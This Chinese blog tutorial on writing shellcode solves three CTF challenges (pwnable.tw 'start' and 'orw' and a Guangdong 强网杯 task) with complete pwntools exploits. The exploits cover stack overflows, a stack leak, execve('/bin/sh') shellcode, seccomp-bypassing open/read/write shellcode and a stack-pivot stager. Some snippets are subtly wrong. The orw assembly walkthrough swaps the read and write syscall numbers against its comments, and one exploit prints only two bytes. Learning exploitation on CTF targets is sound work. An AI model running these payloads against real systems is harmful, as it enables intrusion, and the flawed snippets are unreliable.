簡單shellcode學習

  • 2020 年 7 月 10 日
  • 筆記
本文由「合天智匯」公眾號首發 作者:hope
引言
之前遇到沒開啟NX保護的時候,都是直接用pwtools庫里的shellcode一把梭,也不太懂shellcode代碼具體做了些什麼,遇到了幾道不能一把梭的題目,簡單學習一下shellcode的編寫。
前置知識
  • NX(堆棧不可執行)保護
  • shellcode(一段16進制的數據,轉化為字符串則為彙編代碼)
pwnable之start
保護檢測
可以看到這道題目什麼保護都沒有開
 
 
ida分析
題目只有start函數,可以知道該題是用彙編語言寫的,順便可以鍛煉一下自己看彙編的能力
 
 
彙編代碼分析
簡單來說,程序調用了wirte函數去打印字符,接着調用read函數輸入,但是這裡的輸入沒有限制,因此有一個棧溢出的漏洞,而且程序有個特定,他將esp的值首先壓入了棧中,esp存的是棧頂的地址,使得我們能夠找到棧的地址,為我們返回shellcode做準備
push    esp         #將esp寄存器的值壓入棧中,這裡可以獲得棧的地址
push    offset _exit #將_exit函數地址壓入棧中,使得start函數執行完畢時返回exit函數
xor     eax, eax     #清空eax寄存器的值
xor     ebx, ebx     #清空ebx寄存器的值
xor     ecx, ecx     #清空ecx寄存器的值
xor     edx, edx     #清空edx寄存器的值
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch       #壓入一堆字符串,即程序運行時的字符串,Let's start the CTF:
mov     ecx, esp        ; addr,將字符串的地址放入ecx寄存器中
mov     dl, 14h         ; len,將打印長度放進dl寄存器中,即16位寄存器
mov     bl, 1           ; fd,1為文件描述符,指的是屏幕
mov     al, 4           #eax寄存器,存放的是調用號,4調用號即,write函數
int     80h             ; LINUX - sys_write,int 0x80調用80中斷
xor     ebx, ebx        #清空ebx寄存器,0為文件描述符,即外部輸入,例如鍵盤
mov     dl, 3Ch         #輸入的長度 0x3c
mov     al, 3           #3調用號,即read函數
int     80h             ; LINUX -
add     esp, 14h        #恢復棧平衡,因為壓入字符串消耗了0x14的棧空間,使用完畢後需要換遠
retn                    #返回

函數調用表

 

 

思路
  • 程序開始將esp的值壓入棧中,可以獲得棧的地址
  • 由於程序沒有限制輸入,因此有棧溢出漏洞,可以修改程序執行的流程
獲得棧地址
根據程序的流程,我們可以畫出棧的情況
 
 
跟蹤調試一下,跟我們預期的一樣
繼續跟蹤直到程序運行完add esp,14h,查看一下棧結構
此時返回地址指向exit函數,在執行完ret指令後,esp寄存器內容就為棧地址,想要泄露棧地址,則需要將返回地址修改為write函數,那麼具體返回到哪個地址我們繼續分析。
可以看到0x4調用前,需要往相應的寄存器傳入相應的參數,其中ecx寄存器就是用於指向需要打印字符串的起始地址。
mov     ecx, esp        ; addr,將字符串的地址放入ecx寄存器中
mov     dl, 14h         ; len,將打印長度放進dl寄存器中,即16位寄存器
mov     bl, 1           ; fd,1為文件描述符,指的是屏幕
mov     al, 4           #eax寄存器,存放的是調用號,4調用號即,write函數
int     80h             ; LINUX - sys_write,int 
在執行完ret指令後,此時的esp寄存器的內容恰好指向棧頂的地址
0xffffd12c —▸ 0xffffd130
#因為push esp,會使得esp的值減4,因此此時的esp指針指向的內容是舊的esp指針,這點需要注意


因此只要將返回地址修改為mov ecx,esp的地址即可打印出棧的地址
sh.recvuntil("Let's start the CTF:")
payload = 'a'*20 + p32(0x8048087)#mov ecx,esp的地址
#attach(sh)
sh.send(payload)
esp = u32(sh.recv(4))
print 'esp:'+hex(esp)

返回棧地址,執行shellcode

由於程序沒有開啟NX保護,即棧空間里的數據是可以執行的,那麼我們輸入execve()函數調用的彙編代碼,即可執行getshell

 

 shellcode

c語言表示:execve("/bin/sh\x00",0,0)
彙編代碼:
mov eax,0xb #將調用號設置為0xb,即函數execve的調用號
xor edx,edx #清空edx寄存器,因為execve的函數edx的值為0
xor ecx,ecx #清空ecx寄存器,因為execve的函數ecx的值為0
push 0x0068732f #\x00hs/
push 0x6e69622f #nib/,小端模式需要反着壓入棧中
mov ebx,esp #將字符串的地址傳遞給ebx
int 0x80 #調用80中斷
16進制表示:
利用pwntools庫里的asm()函數,將彙編代碼以16進制的表示形式輸入

可以看到簡單的shellcode編寫需要對照着系統調用號的表,挑取你需要的函數,然後對照着表將參數輸入到對應的寄存器,繼而調用80中斷實現調用函數。

payload1 = 'a'*20+p32(esp+20)#該返回地址需要自己去調試看看自己shellcode的起始地址,算出與泄露出的棧頂地址的偏移即可
payload = asm("mov eax,0xb")
payload += asm("xor edx,edx")
payload += asm("xor ecx,ecx")
payload += asm("push 0x0068732f")
payload += asm("push 0x6e69622f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")
sh.send(payload1+payload)

完整的exp

from pwn import *

context(arch='i386',os='linux')
sh = process("./start")
#sh = remote("node3.buuoj.cn",29479)
sh.recvuntil("Let's start the CTF:")
payload = 'a'*20 + p32(0x8048087)
#attach(sh)
sh.send(payload)
esp = u32(sh.recv(4))
print 'esp:'+hex(esp)
payload1 = 'a'*20+p32(esp+20)
payload = asm("mov eax,0xb")
payload += asm("xor edx,edx")
payload += asm("xor ecx,ecx")
payload += asm("push 0x0068732f")
payload += asm("push 0x6e69622f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")
sh.send(payload1+payload)
sh.interactive()

pwnable之orw

保護檢測
開啟了canary保護,存在可寫並且可執行的區域
ida分析
orw_seccomp
在該函數里開啟了沙盒,這裡可以用seccomp-tools去看下沙盒禁用了什麼函數
 
工具下載://github.com/david942j/seccomp-tools
可以看到,當用i386機器運行此程序時,只允許使用rt_sigreturn,sigreturn,exit_group,open,read,write的系統調用,我們常用的execve調用是不允許被使用的
 
 
看一下題目描述,告訴我們flag位於/home/orw/flag處,而且只允許使用openread,write的系統調用,這是因為其他系統調用被prtcl函數所禁用了,這裡我們關注在於shellcode,prctl則在後面的文章會詳細介紹。
 
 
main函數
名為shellcode的變量位於.bss段,在輸入完畢後會將該變量以函數的形式調用,則這道題不需要去尋找shellcode的返回地址,直接輸入一段shellcode即可
 
 
思路
  • 首先程序禁用了execve系統調用,只開放了openread,以及write的系統調用,意義很明確,是讓我們將flag都出來,而不是取得目標機器的shell
shellcode的編寫
在寫shellcode前,我們可以先用c語言將讀flag的偽代碼寫出來
c語言
fd = open("/home/orw/flag","w");//首先打開文件
read(fd,buf,0x20);//讀取文件的信息,放入到局部變量buf中
write(1,buf,0x20);//將變量buf的內容打印出來,這裡的足夠打印出flag的長度即可,由於不知道flag的具體長度可以設置為長一點

shellcode
#首先對照偽C代碼以及系統調用表進行shellcode的編寫
fd = open("/home/orw/flag","w")
#相應的彙編
xor ecx,ecx #清空ecx寄存器,open的調用該寄存器的值設為null
xor edx,edx #清空edx寄存器,open的調用該寄存器的值設為null
mov eax,0x5 #調用號設置為5
push 0x006761 #將/home/orw/flag壓入棧中,注意是棧是先進後出,因此字符串需要從最末尾開始壓入即將字符
push 0x6c662f77 #轉為16進制要反向排序,並且字符串需要添加截斷符\x00,push要以4位元組為單位。
push 0x726f2f65
push 0x6d6f682f
mov ebx,esp #fd的值為路徑的地址
int 0x80 #調用80中斷,實現系統調用

#c語言
read(fd,buf,0x20)或read(3,buf,0x20)#這裡的3為其他文件描述符,下面會詳細介紹
#相應的彙編
mov eax,0x4
mov ebx,0x3 #這裡用3代替了oepn返回的fd指針,因為3可以用作於打開文件時的文件描述符,若想用open返回的指針則應該將系統調用號移動到eax寄存器前,先保存eax的內容。
mov ecx,esp #將esp作為臨時變量buf的地址
mov edx,0x20 #讀入的長度為0x20
int 0x80 #調用80中斷,實現系統調用

#c語言
write(1,buf,0x20)
#相應的彙編
mov eax,0x3#系統調用號0x3
mov ebx,0x1#文件描述符為1,指向屏幕
mov ecx,esp #將esp作為臨時變量buf的地址
mov edx,0x20 #打印的字符串的長度
int 0x80 #調用80中斷,實現系統調用

#這裡可以用pwntools庫的一個函數代替,shellcraft
c語言:open("/home/orw/flag") <==> 彙編:asm(shellcraft.open("/home/orw/flag"))
c語言:read(3,buf,0x20)<==> 彙編:asm(shellcraft.read(3,"esp",0x20)
c語言:write(1,buf,0x20)<==>彙編:asm(shellcraft.write(1,"esp",0x20))
文件描述符

 


文件描述符
內核(kernel)利用文件描述符(file descriptor)來訪問文件。文件描述符是非負整數。打開現存文件或新建文件時,內核會返回一個文件描述符。讀寫文件也需要使用文件描述符來指定待讀寫的文件。(來自百度百科)
  • 0代表標準輸入流,stdin
  • 1代表標準輸出流,stdout
  • 2代表標準錯誤流,stderr
  • 當打開一個新的文件時,它的文件描述符為3
exp1
from pwn import *
context(log_level='debug',arch='i386',os='linux')
#sh = remote("node3.buuoj.cn",29479)
sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")

payload = asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read(3,"esp",100))
payload += asm(shellcraft.write(1,"esp",100))
sh.sendline(payload)

sh.interactive()
exp2
from pwn import *

context(arch='i386',os='linux')
#sh = remote("node3.buuoj.cn",25212)
sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")
payload = asm("xor ecx,ecx")
payload += asm("xor edx,edx")
payload += asm("mov eax,0x5")
payload += asm("push 0x006761")
payload += asm("push 0x6c662f77")
payload += asm("push 0x726f2f65")
payload += asm("push 0x6d6f682f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")

payload += asm("mov eax,0x3")
payload += asm("mov ebx,0x3")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x20")
payload += asm("int 0x80")

payload += asm("mov eax,0x4")
payload += asm("mov ebx,0x1")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x2")
payload += asm("int 0x80")

sh.sendline(payload)
sh.interactive()

2019廣東強網杯線下題目

保護檢測
同樣是基本沒開啟防護,並且具有可寫並可執行區域
ida分析
main函數
程序有1,2,3,三個選擇,選擇1 時僅僅是打印一串無作用的字符串,選擇2時會當挑戰滿足時會打印棧地址,選擇3可以執行棧溢出漏洞
 
 
僅僅只有0x10的溢出空間,可以恰好覆蓋返回地址
 
 
magic函數
當傳入的參數a2的值等於305419896時,則打印a1的值
 
 
我們可以看下magic函數傳入的兩個變量,一個為buf的地址,一個為局部變量v11v11的值可以通過buf溢出後修改
 
 
思路
  • 程序存在棧溢出的漏洞,但是溢出的位元組數較少,只能剛好溢出返回地址
  • 程序可以利用棧溢出覆蓋變量v11的值,從而泄露buf的地址
  • 這道題我們用另一種思路,在棧上寫棧轉移的彙編代碼,將棧轉移到.bss段中,在向.bss段寫入shellcode,需要注意的是該題是64位,而64位的系統調用號與32位不同。

 

 彙編代碼分析

payload = asm("mov rax,0;") #系統調用號
payload += asm("mov rdi,0;")#文件描述符
payload += asm("mov rsi,0x601080")#.bss段地址,用於buf地址
payload += asm("mov rdx,0x40")#輸入長度
payload += asm("syscall")#syscall啟動調用
payload += asm("push 0x601080")#返回地址
payload += asm("ret")#ret指令返回任意地址
payload = payload.ljust(0x38,'b')
payload += p64(addr)

完整的exp

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
sh = process("./pwn")
sh.recvuntil(" your choice:")
sh.sendline("3")
sh.recvuntil("What?")
payload = 'a'*0x28+p64(305419896)
sh.send(payload)
sh.recvuntil(" your choice:")
sh.sendline("2")
sh.recvuntil("It is magic: [")
addr = int(sh.recv(14),16)
print 'addr:'+hex(addr)
sh.sendline("3")
sh.recvuntil("What?")
payload = asm("mov rax,0;")
payload += asm("mov rdi,0;")
payload += asm("mov rsi,0x601080")
payload += asm("mov rdx,0x40")
payload += asm("syscall")
payload += asm("push 0x601080")
payload += asm("ret")
payload = payload.ljust(0x38,'b')
payload += p64(addr)
#attach(sh)
sh.send(payload)
payload = asm("mov eax,59") #調用59號系統調用,execve("/bin/sh",0,0);
payload += asm("xor rsi,rsi")
payload += asm("xor rdx,rdx")
payload += asm("mov rdi, 0x6010a8")
payload += asm("syscall")
payload = payload.ljust(0x28,'\x00')
payload += '/bin/sh\x00'
attach(sh)
sh.send(payload)
sh.interactive()

總結

  • shellcode的編寫的需要藉助調用表,根據調用表的參數值,往對應的寄存器賦值
  • start例題學會常用的系統調用execve(“/bin/sh”,0,0)的編寫
  • orw例題則學會讀給定路徑的內容,從而學習open,read,write系統調用的編寫
  • 廣東強網杯這題則靈活利用棧可執行的條件,使用彙編實現棧轉移,以及往指定地址寫入內容。
shellcode原理
(shellcode是一段用於利用軟件漏洞而執行的代碼,可在有能力劫持指令寄存器後,在內存中塞入一段可讓CPU執行的shellcode機器碼,讓電腦可以執行攻擊者的任意指令。)
聲明:筆者初衷用於分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為後果自負,與合天智匯及原作者無關!